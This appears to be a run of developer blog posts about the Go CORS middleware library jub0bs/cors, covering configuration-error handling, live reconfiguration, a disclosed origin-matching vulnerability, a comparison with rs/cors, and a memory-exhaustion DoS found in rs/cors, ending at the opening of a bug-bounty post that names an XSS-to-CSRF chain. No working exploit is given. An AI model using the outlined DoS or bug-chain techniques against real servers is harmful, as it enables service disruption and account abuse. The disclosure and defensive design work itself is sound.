func All(err error) iter.Seq[error]

To benefit from those features, update to v0.5.0 of jub0bs/cors.

A relatively simple example ¶

The server below lets tenants configure which Web origins are allowed by their CORS middleware and whether credentialed access (e.g. with cookies) is allowed. It programmatically handles any resulting error in order to inform tenants of their CORS-configuration mistakes in a human-friendly way.

package main

import (
    "encoding/json"
    "fmt"
    "io"
    "log"
    "mime"
    "net/http"

    "github.com/jub0bs/cors"
    "github.com/jub0bs/cors/cfgerrors"
)

func main() {
    app := TenantApp{id: "jub0bs"}

    mux := http.NewServeMux()
    mux.HandleFunc("POST /configure-cors", app.handleReconfigureCORS)

    api := http.NewServeMux()
    api.HandleFunc("GET /hello", handleHello)
    mux.Handle("/", app.corsMiddleware.Wrap(api))

    if err := http.ListenAndServe(":8080", mux); err != http.ErrServerClosed {
        log.Fatal(err)
    }
}

type TenantApp struct {
    id             string
    corsMiddleware cors.Middleware
}

func (app *TenantApp) handleReconfigureCORS(w http.ResponseWriter, r *http.Request) {
    mediatype, _, err := mime.ParseMediaType(r.Header.Get("Content-Type"))
    if err != nil || mediatype != "application/json" {
        w.WriteHeader(http.StatusBadRequest)
        return
    }
    var reqData struct {
        Origins     []string `json:"origins"`
        Credentials bool     `json:"credentials"`
    }
    if err := json.NewDecoder(r.Body).Decode(&reqData); err != nil {
        w.WriteHeader(http.StatusBadRequest)
        return
    }
    cfg := cors.Config{
        Origins:      reqData.Origins,
        Credentialed: reqData.Credentials,
    }

    if err := app.corsMiddleware.Reconfigure(&cfg); err != nil {
        w.Header().Set("Content-Type", "application/json")
        w.WriteHeader(http.StatusBadRequest)
        var resData = struct {
            Errors []string `json:"errors"`
        }{
            Errors: adaptCORSConfigErrorMessagesForClient(err),
        }
        if err := json.NewEncoder(w).Encode(resData); err != nil {
            w.WriteHeader(http.StatusInternalServerError)
            return
        }
    }
}

func adaptCORSConfigErrorMessagesForClient(err error) []string {
    var msgs []string
    for err := range cfgerrors.All(err) {
        switch err := err.(type) {
        case *cfgerrors.UnacceptableOriginPatternError:
            var msg string
            switch err.Reason {
            case "missing":
                msg = "You must allow at least one Web origin."
            case "invalid":
                msg = fmt.Sprintf("%q is not a valid Web origin.", err.Value)
            case "prohibited":
                msg = fmt.Sprintf("For security reasons, you cannot allow Web origin %q.", err.Value)
            default:
                panic("unknown reason")
            }
            msgs = append(msgs, msg)
        case *cfgerrors.IncompatibleOriginPatternError:
            var msg string
            switch err.Reason {
            case "credentialed":
                if err.Value == "*" {
                    msg = "For security reasons, you cannot both allow credentialed access and allow all Web origins."
                } else {
                    const tmpl = "For security reasons, you cannot both allow credentialed access allow insecure origins like %q."
                    msg = fmt.Sprintf(tmpl, err.Value)
                }
            case "psl":
                const tmpl = "For security reasons, you cannot specify %q as an origin pattern, because it covers all subdomains of a registrable domain."
                msg = fmt.Sprintf(tmpl, err.Value)
            default:
                panic("unknown reason")
            }
            msgs = append(msgs, msg)
        default:
            panic("unknown configuration issue")
        }
    }
    return msgs
}

func handleHello(w http.ResponseWriter, _ *http.Request) {
    io.WriteString(w, "Hello, World!")
}

Granted, writing such glue code is fastidious, but not prohibitively so, in my opinion.

Try it for yourself! After starting the server, run the following shell command:

curl -v localhost:8080/configure-cors \
    -H "Content-Type: application/json" \
    --data '{"origins":["*"],"credentials":true}'

The server responds to the resulting POST request as follows:

HTTP/1.1 400 Bad Request
Content-Type: application/json
Date: Wed, 15 Jan 2025 17:50:02 GMT
Content-Length: 106

{"errors":["For security reasons, you cannot both allow credentialed access and allow all Web origins."]}

A more elaborate example, involving more of the concrete error types exported by package cfgerrors, is available in the documentation.

Eating my own dog food ¶

Before v0.5.0, some assertions in jub0bs/cors’s test suite relied on the precise wording of the library’s error messages. Those assertions had always bothered me, for two reasons:

Maintenance burden: Even a slight change to the contents of error messages would require a corresponding change to those assertions.
Misleading contract: Assertions used in black-box tests should ideally express the guarantees that importers can depend on; no more, no less. Assertions on error messages may give users the wrong impression that they can safely parse error messages without fear of seeing their code break when they update their dependencies.

With v0.5.0, I was able to refactor jub0bs/cors’s test suite and only assert on concrete error types and the programmatically accessible data they contain, not on the precise wording of their messages.

Call for sponsors ¶

If this feature is useful to your company, please do let me know. And if you depend on jub0bs/cors and would like to support its development and maintenance, consider sponsoring me on GitHub. 💸

Reconfigurable CORS middleware with jub0bs/cors

Tue, 14 May 2024 13:00:00 +0000

TL;DR ¶

In this short follow-up to my previous post, I describe why and how I’ve added support for dynamic reconfiguration of CORS middleware in jub0bs/cors.

Rethinking configuration immutability ¶

Up until recently, I had been vehemently arguing that CORS middleware should not be reconfigurable on the fly and that any change to their configuration should require a server restart:

Insofar as CORS relaxes some of the restrictions enforced by the SOP, it is a security-critical mechanism. Accordingly, a server’s CORS configuration should be subject to change control: more specifically, I argue that any update to CORS configuration warrants careful vetting and should be followed by a server restart. […] if developers perceive server startup as prohibitively slow, they should, in my opinion, focus their efforts on reducing startup time rather than on avoiding the need to restart the server.

A middleware built with jub0bs/fcors [my initial reference implementation] is effectively immutable, and any amendment to the corresponding CORS policy requires a server restart. Although this constraint does not guarantee that CORS-policy changes will get reviewed, I believe that it at least nudges developers to adopt such a practice.

I was careful to hedge my bets a bit, though:

Although I’ve endeavoured to avoid past design mistakes of others, I’ve likely made brand new ones myself.

And I’m glad I did. Some recent feedback about jub0bs/cors, my latest reference implementation, has compelled me to rethink this principle and somewhat soften my stance on the topic. I still very much value immutable infrastructure, but this constraint can prove both excessively restrictive and ineffective for my stated goals:

It’s excessively restrictive because it impedes snappy zero-downtime updates, at least in some cases; picture, for instance, a multi-tenant SaaS company’s CORS-aware API whose (re-)deployment takes a prohibitively long time.
It’s ineffective because, as I hinted at in the passage quoted above, it alone does not guarantee change control and auditability. In retrospect, I must admit that my attempt to address such governance concerns at the library level was perhaps ill-advised.

Many situations warrant a more pragmatic approach, and configuration immutability can advantageously be lifted, as long as concurrency safety is maintained.

jub0bs/cors middleware are now reconfigurable ¶

After gathering my thoughts for a while and eliciting some feedback from the Go community, I was able to retrofit jub0bs/cors for on-the-fly middleware reconfigurability in a way that doesn’t undermine my entire design philosophy, introduce breaking changes, or compromise performance. jub0bs/cors still provides the following function for creating CORS middleware,

func NewMiddleware(cfg Config) (*Middleware, error)

but v0.2.0 saw the addition of two methods:

func (m *Middleware) Reconfigure(cfg *Config) error
func (m *Middleware) Config() *Config

The Reconfigure method, as its name implies, allows you to reconfigure middleware m. If the cfg argument is non-nil but *cfg is invalid, Reconfigure returns some non-nil error and leaves m unchanged. If cfg is nil, Reconfigure disables CORS; it essentially turns m into a “passthrough” middleware, i.e. a middleware that does nothing interesting and merely delegates to the handler it wraps. Be aware that mutating the fields of *cfg after Reconfigure has returned does not alter m’s behaviour.

The Config method returns a pointer to a deep copy of the Config value with which CORS middleware m was built or last reconfigured with. Thanks to this method, you don’t need to keep your middleware’s configuration in scope in anticipation of amending it (e.g. to augment the set of allowed Web origins); you can simply query the configuration when needed. m.Reconfigure(m.Config()) is guaranteed to be a no-op (albeit a relatively expensive one). Again, be aware that mutating the fields of the Config method’s result does not alter m’s behaviour.

Because both methods are concurrency-safe, you can confidently reconfigure a middleware and/or query its current configuration even as it’s concurrently processing requests. Therefore, you are free to somehow expose those methods so you can exercise them without having to restart your server; however, if you do expose those methods, you should only do so on some internal or authorized endpoints, for security reasons.

Moreover, a happy byproduct of refactoring is that the zero value of Middleware is now ready to use, though it merely corresponds to a “passthrough” middleware.

One word of caution, though: be aware that frequent CORS-middleware reconfiguration may exacerbate caching issues; I refer you to the relevant section of Jake Archibald’s blog post about CORS.

Comparison with rs/cors’s hook-based approach ¶

Once again, jub0bs/cors bears comparison with rs/cors, which remains, at the time of writing this post, the most popular CORS library for Go. rs/cors’s flexibility stems from its multiple “hooks”:

type Options struct {
  // ...
  AllowOriginFunc            func(origin string) bool
  AllowOriginRequestFunc     func(r *http.Request, origin string) // deprecated
  AllowOriginVaryRequestFunc func(r *http.Request, origin string) (bool, []string)
  // ...
}

Via those hooks, you can specify strategies for discriminating allowed and disallowed Web origins. However, I believe, for reasons explained in a previous post, that such hooks are error-prone and too powerful for your own good; I have therefore steadfastly refused to introduce the likes of them in my CORS libraries, and I still do.

Instead, in order to support dynamic middleware reconfigurability in jub0bs/cors, I’ve basically turned rs/cors’s hook-based approach inside out, as you would a sock: rather than specify a callback representing your strategy, you must declaratively describe your desired configuration in the form of a *Config value and pass that value to your middleware’s Reconfigure method. This approach comes with several benefits that cannot be understated:

Flexibility: you can update, not just the set of allowed origins, but the entire configuration of your CORS middleware: allowed origins, allowed methods, allowed request headers, etc.
Correctness & safety: you cannot (modulo bugs) end up with a dysfunctional or insecure middleware: jub0bs/cors indeed rejects any configuration that it deems invalid or insecure, not just at middleware initialisation, but also at middleware reconfiguration. Your middleware will either receive a clean update or none at all.
Performance: at all times, a middleware’s configuration lives in memory, in data structures optimised for processing CORS requests; middleware reconfiguration still is relatively expensive, especially in heap allocations, but under the reasonable assumption that reconfiguration remains less frequent (at least by an order of magnitude) than middleware invocation, you can expect good overall performance.

Critical vulnerability in jub0bs/cors <= 0.1.2 ¶

Finally, allow me a short but important digression about security. One of the data structures that jub0bs/cors relies on is a specialised radix tree. As I was implementing middleware reconfigurability, I came to the distressing realisation that, because of a bug in my radix-tree implementation (no doubt introduced as a result of poor variable naming on my part), jub0bs/cors contained a critical vulnerability: in v0.1.2 and prior versions, some CORS middleware allow a range of untrusted Web origins. For example, specifying origin patterns https://foo.com and https://bar.com (in that order) would yield a middleware that would incorrectly allow untrusted origin https://barfoo.com. v0.8.0 of jub0bs/fcors is similarly vulnerable. This critical vulnerability is yet another cautionary tale that a code coverage of 100% doesn’t guarantee the absence of bugs.

Finding a critical vulnerability in one’s code has to be an open-source developer’s worst nightmare, but this episode was particularly embarrassing to me: not only do I describe myself as a security researcher but, only a few days earlier, I was bemoaning the leisurely pace at which the maintainer of rs/cors patched an altogether minor vulnerability and I was touting jub0bs/cors as perhaps the best CORS middleware library for Go yet… 😬

The study of Web security is a neverending lesson in humility. Despite one’s best intentions, every piece of software one writes is bound, at one stage or another, to contain vulnerabilities; what matters is how one responds to their discovery. In this case, I identified and fixed the bug on April 30th; for better timing, though, I held off publishing a security advisory, notifying the Go Vulnerability Database, and releasing a patched version (v0.1.3) until May 2nd (CEST).

I apologise to anyone impacted and, if you haven’t given jub0bs/cors a try yet, I hope you won’t be deterred.

Acknowledgements ¶

Thanks to Laurent Demailly, Scott Plunkett, and Mike Stephen for the constructive feedback about my prospective API changes that they respectively shared with me on Gophers Slack, on Reddit, and through private communication.

jub0bs/cors: a better CORS middleware library for Go

Sat, 27 Apr 2024 08:00:00 +0000

TL;DR ¶

I’ve just released jub0bs/cors, a new CORS middleware library for Go, perhaps the best one yet. It has some advantages over the more popular rs/cors library, including

a simpler API,
better documentation,
extensive configuration validation,
a useful debug mode,
stronger performance guarantees.

Here is a representative example of client code:

package main

import (
  "io"
  "log"
  "net/http"

  "github.com/jub0bs/cors"
)

func main() {
  mux := http.NewServeMux()
  mux.HandleFunc("GET /hello", handleHello) // no CORS on this

  corsMw, err := cors.NewMiddleware(cors.Config{
    Origins:        []string{"https://example.com"},
    Methods:        []string{http.MethodGet, http.MethodPost},
    RequestHeaders: []string{"Authorization"},
  })
  if err != nil {
    log.Fatal(err)
  }
  corsMw.SetDebug(true) // optional: turn debug mode on

  api := http.NewServeMux()
  api.HandleFunc("GET /users", handleUsersGet)
  api.HandleFunc("POST /users", handleUsersPost)
  mux.Handle("/api/", http.StripPrefix("/api", corsMw.Wrap(api)))

  log.Fatal(http.ListenAndServe(":8080", mux))
}

func handleHello(w http.ResponseWriter, _ *http.Request) {
  io.WriteString(w, "Hello, World!")
}

func handleUsersGet(w http.ResponseWriter, _ *http.Request) {
  // omitted
}

func handleUsersPost(w http.ResponseWriter, _ *http.Request) {
  // omitted
}

If you’re already convinced and wish to migrate your code to jub0bs/cors without further ado, skip to the migration guide further down this post.

Why you should prefer jub0bs/cors ¶

rs/cors deserves credit for being the most popular CORS middleware library for Go. Its development, still ongoing, spans close to ten years and, to this day, many open-source projects depend on it. But is it perfect? No library is, of course, but I believe Go developers deserve the best. In my opinion, rs/cors suffers from some shortcomings that jub0bs/cors addresses; allow me to detail just a few of them.

Simpler API ¶

If you consult the documentation of rs/cors, you’ll quickly realise that the library provides no fewer than four ways of specifying which Web origins should be allowed by the desired CORS middleware:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


type Options struct {
  AllowedOrigins []string
  AllowOriginFunc func(string) bool
  AllowOriginRequestFunc func(*http.Request, string) bool /* deprecated */
  AllowOriginVaryRequestFunc func(*http.Request, string) (bool, []string)
  AllowedMethods []string
  AllowedHeaders []string
  ExposedHeaders []string
  MaxAge int
  AllowCredentials bool
  AllowPrivateNetwork bool
  OptionsPassthrough bool
  OptionsSuccessStatus int
  Debug bool
  Logger Logger
}

Not only is such a proliferation of redundant options overwhelming but, as mentioned in an earlier post, some of them are deceptively easy to misuse. In comparison, jub0bs/cors provides a single way of configuring any specific aspect of your desired CORS middleware:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


type Config struct {
  Origins         []string
  Credentialed    bool
  Methods         []string
  RequestHeaders  []string
  MaxAgeInSeconds int
  ResponseHeaders []string
  ExtraConfig
  // contains filtered or unexported fields
}

More esoteric options are hidden away in a separate struct type named ExtraConfig. Therefore, jub0bs/cors’s API is easier to apprehend and lends itself better to autocomplete.

As a bonus, and contrary to rs/cors, jub0bs/cors allows you to marshal/unmarshal your whole CORS configuration to/from JSON or YAML.

Better documentation ¶

I’ve taken special care to write precise and useful documentation for jub0bs/cors. In particular, the recent addition of enhanced routing patterns in net/http deserved clarification; proper application of a CORS middleware (regardless of which library produced it) in conjunction with the use of “method-full” patterns can indeed be challenging at first. I myself certainly was confused until Carlana Johnson helped me realise that http.ServeMux composition is key. To spare users of jub0bs/cors similar confusion, I’ve included elucidating examples in the documentation.

On top of that, although jub0bs/cors plays best with net/http’s router, I’ve released examples involving third-party routers (such as Chi, Echo, and Fiber) in a separate GitHub repository.

Extensive configuration validation ¶

In an earlier blog post and in the talk I gave at GopherCon Europe 2023, I argued that the lack of configuration validation is one of the main reasons why most people struggle to troubleshoot CORS errors. Unfortunately, a year later, rs/cors has not improved in this respect; consider the following code sample:

import "github.com/rs/cors"

func main() {
  corsMw := cors.New(cors.Options{
    AllowedOrigins: []string{
      "https://example.org",
      "https://*.com",
    },
    AllowedMethods: []string{
      "CONNECT",
      "RÉSUMÉ",
    },
    AllowedHeaders: []string{"auth orization"},
  })
  // rest omitted for brevity
}

Can you spot issues with the CORS configuration of the desired middleware? Perhaps you can (with some scrutiny) but rs/cors itself cannot, simply because it performs almost no validation of your CORS configuration. Instead, it’s quite content to produce either a dysfunctional middleware (which will likely cause you much frustration) or an insecure one (which will put your users at risk).

Unlike rs/cors, jub0bs/cors performs extensive configuration validation in a bid to prevent you from creating dysfunctional or insecure CORS middleware:

import (
  "fmt"
  "os"

  "github.com/jub0bs/cors"
)

func main() {
  corsMw, err := cors.NewMiddleware(cors.Config{
    Origins: []string{
      "https://example.org",
      "https://*.com",
    },
    Methods: []string{
      "CONNECT",
      "RÉSUMÉ",
    },
    RequestHeaders: []string{"auth orization"},
  })
  if err != nil {
    fmt.Fprintln(os.Stderr, err)
    os.Exit(1)
  }
  // rest omitted for brevity
}

The program above fails (as it should) with an error message that alerts you to all the issues with your CORS configuration:

cors: forbidden method name "CONNECT"
cors: invalid method name "RÉSUMÉ"
cors: invalid request-header name "auth orization"
cors: for security reasons, origin patterns like "https://*.com" that
  encompass subdomains of a public suffix are by default prohibited

Debug mode ¶

Most CORS middleware libraries tend to omit all CORS headers in responses to failed preflight requests. rs/cors behaves like this; and jub0bs/cors does too, at least by default.

On the one hand, this behaviour adheres to good security practice: CORS middleware shoud ideally reveal as little as possible about their configuration (such as allowed origins, allowed methods, etc.) to potential adversaries when preflight fails. On the other hand, and as explained in an earlier post, this behaviour severely impedes troubleshooting of CORS issues: the browser, left with insufficient information about the preflight failure, ends up raising an error whose message masks the root cause of your CORS issue.

Typically, you get an error message like the following:

Access to fetch at https://your-server.example.com/users from origin https://your-client.example.com has been blocked by CORS policy: Response to preflight request doesn’t pass access control check: No Access-Control-Allow-Origin header is present on the requested resource. If an opaque response serves your needs, set the request’s mode to no-cors to fetch the resource with CORS disabled.

Perplexed, you go and double-check your server’s CORS configuration, and you find that https://your-client.example.com is in fact listed as an allowed origin there… 🤔

Finally, after hours getting nowhere, you discover the root cause of your CORS issue: the server’s configuration is insufficiently permissive because the client’s requests include some header (Authorization, say) that happens not to be explicitly allowed, but should be. 🤬

In my opinion, this behaviour of CORS middleware is one of the main reasons why CORS errors have a notorious reputation of being difficult and time-consuming to troubleshoot.

rs/cors gets out of the difficulty by letting its users specify a logger as part of their middleware configuration. That logger then emits an informative message for every request handled by the middleware:

2024/04/23 13:40:12 Handler: Preflight request
2024/04/23 13:40:12   Preflight aborted: headers '[Authorization]' not allowed
2024/04/23 13:40:13 Handler: Preflight request
2024/04/23 13:40:13   Preflight aborted: method 'PUT' not allowed
2024/04/23 13:40:14 Handler: Preflight request
2024/04/23 13:40:14   Preflight aborted: origin 'https://example.com' not allowed
2024/04/23 13:40:15 Handler: Actual request
2024/04/23 13:40:15   Actual request no headers added: missing origin
2024/04/23 13:40:17 Handler: Actual request
2024/04/23 13:40:17   Actual request no headers added: missing origin
2024/04/23 13:40:18 Handler: Actual request
2024/04/23 13:40:18   Actual response added headers: map[Access-Control-Allow-Origin:[https://example.org] Vary:[Origin]]

This approach does ease troubleshooting, but is far from ideal: you can imagine how much noise such a logger generates on a CORS-aware server under heavy load… 🤢

jub0bs/cors takes a different approach: its CORS middleware provides a debug mode, which you can toggle via the (*Middleware).SetDebug method:

1
2
3
4
5
6


// jub0bs/cors
corsMw, err := cors.NewMiddleware(cors.Config{ /* omitted */ }
if err != nil {
  log.Fatal(err)
}
corsMw.SetDebug(true)

The debug mode, when switched on, overrides the middleware’s behaviour described above and includes more information in responses to preflight requests, even failed ones. Switching debug mode on essentially turns your CORS middleware into a “browser whisperer”: by giving the browser just enough contextual information, the middleware is able to elicit error messages from it that you will actually find helpful for resolving your CORS issues. Therefore, I strongly encourage you to activate this debug mode whenever you’re facing a puzzling CORS issue.

But wait; there’s more! Because the SetDebug method is concurrency-safe, you’re free to opportunistically toggle debug mode on the fly, even as your server is running and your CORS middleware is processing requests (i.e. without the need to stop the server, edit its source code, and then restart the server). All you have to do is somehow expose the ability to toggle debug mode; as an example, I’ve modified the program at the top of this post by adding a /debug endpoint for toggling debug mode:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57


package main

import (
    "io"
    "log"
    "net/http"
    "strconv"

    "github.com/jub0bs/cors"
)

func main() {
  mux := http.NewServeMux()
  mux.HandleFunc("GET /hello", handleHello) // no CORS on this

  corsMw, err := cors.NewMiddleware(cors.Config{
    Origins:        []string{"https://example.com"},
    Methods:        []string{http.MethodGet, http.MethodPost},
    RequestHeaders: []string{"Authorization"},
  })
  if err != nil {
    log.Fatal(err)
  }

  setDebug := func(w http.ResponseWriter, r *http.Request) {
    debug, err := strconv.ParseBool(r.URL.Query().Get("debug"))
    if err != nil {
      http.Error(w, "invalid debug value", http.StatusBadRequest)
      return
    }
    corsMw.SetDebug(debug)
  }
  mux.Handle("PUT /debug", authZMiddleware(http.HandlerFunc(setDebug)))

  api := http.NewServeMux()
  api.HandleFunc("GET /users", handleUsersGet)
  api.HandleFunc("POST /users", handleUsersPost)
  mux.Handle("/api/", http.StripPrefix("/api", corsMw.Wrap(api)))

  log.Fatal(http.ListenAndServe(":8080", mux))
}

func handleHello(w http.ResponseWriter, _ *http.Request) {
  io.WriteString(w, "Hello, World!")
}

func authZMiddleware(h http.Handler) http.Handler {
  return h // actual implementation omitted
}

func handleUsersGet(w http.ResponseWriter, _ *http.Request) {
  // omitted
}

func handleUsersPost(w http.ResponseWriter, _ *http.Request) {
  // omitted
}

Note that, in practice, just like you shouldn’t publicly expose your pprof endpoints, you shouldn’t publicly expose the ability to toggle this debug mode to the entire world. Accordingly, in the example above, I’ve wrapped my setDebug handler in some authorization middleware. An alternative approach would consist in restricting access to the /debug endpoint at the reverse-proxy level.

Attentive readers of my Fearless CORS design philosophy may object that jub0bs/cors’s debug mode seems to violate principle 11:

Guarantee configuration immutability.

But I would retort that activating the debug mode (to ease troubleshooting) only slightly alters the middleware’s behaviour; toggling the debug mode doesn’t modify the sets of allowed origins, allowed methods, allowed request headers, max age, etc. Such modifications of the middleware configuration still require a server restart. 😇

Edit (2025/06/16): CORS middleware produced by jub0bs/cors are now reconfigurable on the fly (without requiring a server restart) and in a concurrency-safe manner.

Stronger performance guarantees ¶

Overall, jub0bs/cors and modern versions of rs/cors have similar performance characteristics. However, there’s one specific situation in which rs/cors v1.10.1 fares badly, to the point of facilitating denial of service. In response to some malicious requests masquerading as CORS-preflight requests, rs/cors middleware indeed allocate an inordinate amount of memory, orders of magnitude more than jub0bs/cors middleware in some cases:

goos: darwin
goarch: amd64
pkg: github.com/jub0bs/cors-benchmarks
cpu: Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz
                │    rs-cors    │              jub0bs-cors  │
                │    sec/op     │   sec/op     vs base      │
malicious_ACRH    17238.0n ± 3%   438.2n ± 5%  -97.46% 😱

                │   rs-cors     │              jub0bs-cors  │
                │     B/op      │     B/op     vs base      │
malicious_ACRH    37832.0 ± 0%     928.0 ± 0%  -97.55% 😱

In the worst (yet realistic) case I could conjure up, a single malicious request of 1 Mib causes rs/cors middleware to allocate a gargantuan 116 MiB!

This behaviour can be abused by adversaries to produce undue load on the server’s runtime (memory allocator and garbage collector). Of course, this attack vector isn’t as severe as, say, ReDoS, and most WAFs would likely block those malicious requests, but it should still be cause for concern. In particular, because CORS middleware typically must sit in front of any authentication logic, attackers don’t even need to be authenticated.

After discovering this problem in rs/cors v1.10.1, I promptly opened GitHub issue #170 and sent a fix in pull request #171. My pull request was eventually merged and a new version (v1.11.0) was released, but only about a month after I filed the issue. Regardless of the vulnerability’s actual severity, the maintainer’s tolerance to leaving the issue unresolved for so long is worrying. 😟

Many open-source projects that depend on rs/cors v1.10.1 (or even older versions) could suffer from issue #170. One of them, Prometheus Alertmanager, is advertised as a program whose normal operation requires no more than 50 Mib of memory. To assess impact, I conducted a test in which I concurrently sent a couple of malicious requests to a Dockerised instance of Alertmanager running with a memory limit of 50 Mib; as a result, the Docker container quickly ran out of memory and died. 💀

Because jub0bs/cors follows a defensive approach, it is immune to such issues and exhibits predictable performance characteristics.

Reasons for favouring rs/cors over jub0bs/cors ¶

Despite all of jub0bs/cors’s goodness, you may still have valid reasons for sticking with rs/cors v1.11.0+, at least for the time being. Here is as exhaustive a list as I could come up with:

You cannot yet, for some reason, migrate to Go v1.22 (whose semantics are assumed by jub0bs/cors).
~~You wish to allow Web origins whose scheme is neither http nor https.~~
You need more flexible origin patterns than those supported by jub0bs/cors.
~~You need to modify your CORS middleware’s configuration on the fly, without restarting the server.~~
You want to log an event for every single request processed by your CORS middleware.

If none of those items describe your present situation, I encourage you to migrate to jub0bs/cors as soon as possible. 😇

Migration guide ¶

If you’re ready to migrate from rs/cors to jub0bs/cors, I expect that you will find such migration straightforward. The following subsections of this post highlight the similarities and differences between the two libraries. If you still struggle to migrate your project, feel free to ask me (on Mastodon) for guidance or even a pull request.

In all of the examples below where a variable named handler appears, the variable is assumed to be of type http.Handler and declared elsewhere.

Installing jub0bs/cors ¶

To start depending on jub0bs/cors simply run the following shell command within your project:

go get github.com/jub0bs/cors

Once you directly depend on jub0bs/cors and no longer on rs/cors, don’t forget to tidy your module by running fhe following command:

go mod tidy

Configuring a CORS middleware ¶

The basic configuration struct types have different names: rs/cors’s is Options, whereas jub0bs/cors’s is Config. The names of those struct types’ fields also differ; the table below shows the mapping between corresponding fields in the two libraries:

rs/cors	jub0bs/cors
`AllowedOrigins`	`Origins`
`AllowOriginFunc`	N/A
`AllowOriginRequestFunc`	N/A
`AllowOriginVaryRequestFunc`	N/A
`AllowedMethods`	`Methods`
`AllowedHeaders`	`RequestHeaders`
`ExposedHeaders`	`ResponseHeaders`
`MaxAge`	`MaxAgeInSeconds`
`AllowedCredentials`	`Credentialed`
`AllowPrivateNetwork`	~~`ExtraConfig.PrivateNetworkAccess`~~ N/A
`OptionsPassthrough`	N/A
`OptionsSuccessStatus`	`ExtraConfig.PreflightSuccessStatus`
`Debug`	N/A (but see debug mode)
`Logger`	N/A

Moreover, jub0bs/cors’s ExtraConfig struct type allows you to unlock additional options not mentioned in the table above.

Edit (2025/07/13): Private-Network Access was never fully implemented by browsers and has now been put on (indefinite) hold in favor of a new permission-based mechanism named “Local-Network Access”. As of v0.7.0, jub0bs/cors no longer supports Private-Network Access.

Creating a middleware and applying it to a handler ¶

The functions that produce CORS middleware also have different names: rs/cors’s is named New, whereas jub0bs/cors’s is named NewMiddleware.

Besides, jub0bs/cors’s NewMiddleware returns, not only a CORS middleware, but also an error. Do inspect that error result; only if its value is nil can you assume that the resulting middleware is usable.

Finally, whereas the method for applying a middleware to a http.Handler is (confusingly) named Handler in rs/cors, the equivalent method is named Wrap in jub0bs/cors.

// jub0bs/cors
corsMw, err := cors.NewMiddleware(cors.Config{ /* omitted */ })
if err != nil {
  // corsMw is unusable; bail out.
  log.Fatal(err)
}
handler = corsMw.Wrap(handler) // wrap corsMw around handler.

Default configurations ¶

In contrast to rs/cors, and for good reasons explained elsewhere, jub0bs/cors provides no default CORS configurations. If the code to migrate relies on rs/cors’s Default or AllowAll functions, the code snippets below illustrate how to adapt your code for migrating to jub0bs/cors:

// rs/cors
handler = cors.Default().Handler(handler)

is equivalent to

// jub0bs/cors
corsMw, err := cors.NewMiddleware(cors.Config{
  Origins: []string{"*"},
  Methods: []string{
    http.MethodGet,
    http.MethodHead,
    http.MethodPost,
  },
  RequestHeaders: []string{
    "Accept",
    "Content-Type",
    "X-Requested-With",
  },
})
if err != nil {
  // omitted: bail out, somehow
}
handler = corsMw.Wrap(handler)

and

// rs/cors
handler = cors.AllowAll().Handler(handler)

is equivalent to

// jub0bs/cors
corsMw, err := cors.NewMiddleware(cors.Config{
  Origins: []string{"*"},
  Methods: []string{
    http.MethodHead,
    http.MethodGet,
    http.MethodPost,
    http.MethodPut,
    http.MethodPatch,
    http.MethodDelete,
  },
  RequestHeaders: []string{"*"},
})
if err != nil {
  // omitted: bail out, somehow
}
handler = corsMw.Wrap(handler)

On the genesis of jub0bs/cors ¶

Reflection on its predecessor ¶

About a year ago, after realising that developers’ troubles with Cross-Origin Resource Sharing (CORS) can chiefly be blamed on tools rather than on their users, I released jub0bs/fcors, a reference implementation for Fearless CORS, my design philosophy for CORS middleware libraries,

On a personal note, this original library proved to be a formative laboratory of ideas, not only about library design, but also about algorithms and data structures (especially radix trees).

However, although jub0bs/fcors garnered praise from developers, OWASP, and some WHATWG folks (in private communication), its adoption remains disappointingly limited. For instance, at the time of writing this post, the project’s GitHub repository has only accrued a paltry 79 stargazers; nothing to scoff at, but far from a resounding success. In comparison, rs/cors boasts more than 2,500 stargazers.

If pressed to speculate about the reasons for jub0bs/fcors’s lacklustre adoption, I would first argue that a contending software library, regardless of its merits, is unlikely to quickly rise as high as an incumbent library in popularity. Second, I would cite some controversial design decisions in jub0bs/fcors. That library indeed relies heavily on functional_options, a much maligned pattern in the Go community. Winning over staunch detractors of the pattern was always going to be an uphill battle, and the talk I gave on the topic at GopherCon Europe 2023, though well received, did little to sway them. I myself have somewhat changed my mind about the pattern over the last few months; I still believe it’s useful in some situations, but some of its pain points have become more apparent to me.

Rather than discourage me, jub0bs/fcors’s unspectacular adoption spurred me to write a spiritual successor: a new CORS library for Go, one that adheres to the principles of Fearless CORS but whose more traditional API holds the promise of universal appeal: jub0bs/cors.

Why not contribute to rs/cors instead? ¶

Finally, I should address the elephant in the room: Why produce a competing library? Why not contribute improvements to rs/cors instead? The answer isn’t as straightforward as it may seem.

Although I can find faults in the design of jub0bs/fcors, there is little I would change in my Fearless CORS design philosophy. I remain convinced that its twelve principles are sound and deserve to spread to other CORS libraries (even ones beyond Go’s ecosystem). Armed with this ambition, I did contribute issues and pull requests to rs/cors, most of which Olivier Poitrey, the library’s maintainer, kindly fixed or merged. Moreover, there is little doubt that jub0bs/fcors inspired Olivier to improve aspects of rs/cors’s performance.

However, not being at the helm of rs/cors, I am limited in how much I can influence its development; and the truth is that the library is still a far cry from the ideal conveyed by Fearless CORS, i.e. a CORS library easy to use and hard to misuse. For instance, the multiple hooks (e.g. AllowOriginFunc) that rs/cors provides are, in my opinion, dangerous misfeatures. How to improve this aspect of the library isn’t obvious; in fact, one more such hook recently crept into the API. Deprecating all those hooks would be a good first step, but altogether removing support for them would constitute a breaking change. Perhaps a hypothetical v2 of rs/cors could bring the library in line with Fearless CORS, but whether Olivier plans to release a new major version in the near future is unclear to me.

If I cannot bend rs/cors into a shape close to my ideal of a CORS middleware library, I can at least try to displace it with a better library. This is my ambition with jub0bs/cors.

Acknowledgements ¶

Thanks to Carlana Johnson and Mike Stephen for taking the time to review an early draft of this post.

A smorgasbord of a bug chain: postMessage, JSONP, WAF bypass, DOM-based XSS, CORS, CSRF...

Fri, 05 May 2023 17:00:00 +0000

TL;DR ¶

A few months ago, while hunting on a public bug-bounty programme, I found a nice little bug chain that involved

an insecure message event listener,
a shoddy JSONP endpoint,
a WAF bypass,
DOM-based XSS on an out-of-scope subdomain,
a permissive CORS configuration,

all to achieve CSRF against an in-scope asset. Read on for a deep dive about it.

